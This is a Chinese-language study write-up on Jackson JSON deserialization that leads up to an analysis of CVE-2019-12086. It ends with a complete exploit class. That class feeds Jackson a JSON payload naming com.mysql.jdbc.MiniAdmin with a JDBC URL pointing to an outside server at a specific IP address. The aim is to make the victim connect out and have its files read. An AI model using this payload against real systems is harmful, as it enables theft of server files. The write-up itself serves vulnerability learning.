jackson学习+CVE-2019-12086漏洞分析
jackson和fastjson差不多,都是用来更方便的处理json
国人用fastjson,老外用jackson/gson比较多
环境搭建:
pom.xml:
<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.25</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.8</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>RELEASE</version> <scope>compile</scope> </dependency>
Student.java:
package com.test.JackSonTest; public class Student{ private String name; private Integer age; private Teacher teacher; public Student(){ System.out.println("student构造方法被调用"); }; public String getName() { return name; } public void setName(String name) { this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } public Teacher getTeacher() { return teacher; } public void setTeacher(Teacher teacher) { this.teacher = teacher; } @Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + ", teacher=" + teacher + '}'; } }
Teacher.java:
package com.test.JackSonTest; public class Teacher{ private String name; private int age; public Teacher(){ System.out.println("teacher构造方法被调用"); }; public Teacher(String name,int age){ this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Teacher{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
测试类:
@Test public void test1() throws IOException { //序列化 对象转json字符串数据 Student student = new Student(); student.setName("jack"); student.setAge(20); student.setTeacher(new Teacher("lua",33)); ObjectMapper objectMapper = new ObjectMapper(); objectMapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); String result = objectMapper.writeValueAsString(student); System.out.println(result); //反序列化,json字符串数据转对象 String jsonResult = "{\"name\":\"jack\",\"age\":20,\"teacher\":{\"name\":\"lua\",\"age\":33}}"; Student stu = objectMapper.readValue(jsonResult, Student.class); System.out.println(stu); }
运行输出:
student构造方法被调用 {"name":"jack","age":20,"teacher":{"name":"lua","age":33}} student构造方法被调用 teacher构造方法被调用 Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}
发现在反序列化(json转对象)的时候,优先调用构造方法,如果反序列化的json数据中的类继承了其他类,会自动调用其父类无参构造方法
Jackson打印对象类型:
@Test public void test2() throws IOException { //序列化 对象转json字符串 Student student = new Student(); student.setName("jack"); student.setAge(20); student.setTeacher(new Teacher("lua",33)); ObjectMapper objectMapper = new ObjectMapper(); //序列化JSON串时,在值上打印出对象类型 objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); String result = objectMapper.writeValueAsString(student); System.out.println(result); //反序列化 json字符串转对象 String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]"; Student stu = objectMapper.readValue(jsonResult, Student.class); System.out.println(stu); }
运行输出:
student构造方法被调用 ["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}] student构造方法被调用 teacher构造方法被调用 Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}
这个很重要,jackson的很多漏洞跟他息息相关:
通过上面的代码可以发现当开启enableDefaultTyping的时候,json字符串中的类会被反序列化.
继续编写jackson测试:
test_poc.java:
package com.test.JackSonTest; public class test_poc { public test_poc(){}; public test_poc(String name){ System.out.println(name); } }
通过上面的代码,发现存在构造方法,一个无参,另一个有参数构造方法
jackson反序列化:
测试类:
@Test public void test3() throws IOException { ObjectMapper objectMapper = new ObjectMapper(); //序列化JSON串时,在值上打印出对象类型 objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); //自定义构造 String jsonResult = "[\"com.test.JackSonTest.test_poc\",\"test\"]"; objectMapper.readValue(jsonResult,test_poc.class); }
发现在[]中设置value,相当于是为构造方法添加新的参数
通过前面的前置知识铺垫,jackson了解到的相关基础:(1)如果想使用[]去完成反序列化攻击,必须要开启enableDefaultTyping,获取到对象类型 (2)反序列化的时候自动调用对象构造方法及父类构造方法 (3)有参构造方法不需要设定值,不像setName/getName那样,需要"name":"test",只要[类,值]即可完成填充
CVE-2019-12086是一个文件读取漏洞,直接查看他的利用链:利用环境在文章第一行已创建:
漏洞文件在:
repository/mysql/mysql-connector-java/5.1.25/mysql-connector-java-5.1.25.jar!/com/mysql/jdbc/MiniAdmin.class:
通过反射加载跟进去:
问题代码:
public MiniAdmin(String jdbcUrl) throws SQLException { this(jdbcUrl, new Properties()); } public MiniAdmin(String jdbcUrl, Properties props) throws SQLException { this.conn = (Connection)((Connection)(new Driver()).connect(jdbcUrl, props)); }
前面我们已经学习了足够多的前置知识,这里会连接jdbcUrl,如果jdbcUrl可控,会发送链接,正好mysql8以下存在任意文件读取...下面直接构造exp:
attackerJdbc.java:
package com.test.JackSonTest; import com.fasterxml.jackson.databind.ObjectMapper; import com.mysql.jdbc.MiniAdmin; import java.io.IOException; import java.sql.SQLException; public class attackJdbc { public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException { ObjectMapper objectMapper =new ObjectMapper(); Class.forName("com.mysql.jdbc.MiniAdmin"); //一定要开启enableDefaultTyping objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); //通过前面的知识点学习知道,如果这样构造,就会自动给MiniAdmin类的有参构造方法传入string类型数据,数据内容为:jdbc:mysql://119.45.227.86:123/ String json = "[\"com.mysql.jdbc.MiniAdmin\",\"jdbc:mysql://119.45.227.86:123/\"]"; objectMapper.readValue(json,Object.class); } }
不理解部分查看注释:
运行代码:
这个漏洞相对简单,所以就不跟底层机制了.
如果后续要找相关利用链,也可以用这个方法操作下..
漏洞学习参考: